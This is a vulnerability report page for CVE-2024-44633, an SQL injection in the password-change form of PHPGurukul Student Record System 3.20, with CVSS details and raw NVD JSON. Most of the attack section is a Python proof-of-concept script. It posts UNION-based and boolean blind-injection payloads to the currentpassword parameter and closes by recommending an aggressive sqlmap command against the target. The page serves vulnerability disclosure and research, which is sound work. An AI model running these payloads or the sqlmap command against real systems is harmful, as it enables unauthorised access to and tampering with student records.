Security Vulnerability Report
中文
CVE-2024-44633 CVSS 6.5 MEDIUM

CVE-2024-44633

Published: 2025-11-14 16:15:48
Last Modified: 2025-11-17 17:35:46

Description

PHPGurukul Student Record System 3.20 is vulnerable to SQL Injection via the currentpassword parameter in change-password.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Student Record System 3.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44633 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Vulnerable Parameter: currentpassword in change-password.php target_url = "http://target-host/student-record-system/change-password.php" # SQL Injection payload using UNION-based injection payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32---" data = { 'currentpassword': payload, 'newpassword': 'test123', 'confirmpassword': 'test123' } print("[*] Sending SQL Injection payload...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response Status Code: {response.status_code}") # Check for signs of successful injection if 'UNION' in response.text or 'SELECT' in response.text: print("[!] Potential SQL Injection detected - check response") # Boolean-based blind injection check true_payload = "' AND 1=1---" false_payload = "' AND 1=2---" data_true = {'currentpassword': true_payload, 'newpassword': 'test', 'confirmpassword': 'test'} data_false = {'currentpassword': false_payload, 'newpassword': 'test', 'confirmpassword': 'test'} resp_true = requests.post(target_url, data=data_true, timeout=10) resp_false = requests.post(target_url, data=data_false, timeout=10) if len(resp_true.text) != len(resp_false.text): print("[!] Blind SQL Injection confirmed!") print("[*] Use sqlmap for further exploitation") except requests.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) # Recommended sqlmap command: # sqlmap -u "http://target/change-password.php" --data="currentpassword=*&newpassword=test&confirmpassword=test" --level=5 --risk=3 -p currentpassword

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44633", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:47.783", "lastModified": "2025-11-17T17:35:46.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Student Record System 3.20 is vulnerable to SQL Injection via the currentpassword parameter in change-password.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:*", "matchCriteriaId": "3BE56291-1C2E-4DFB-84CB-1C130EBA0DE2"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44633.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/student-record-system-php", "source": "[email protected]", "tags": ["Product"]}]}}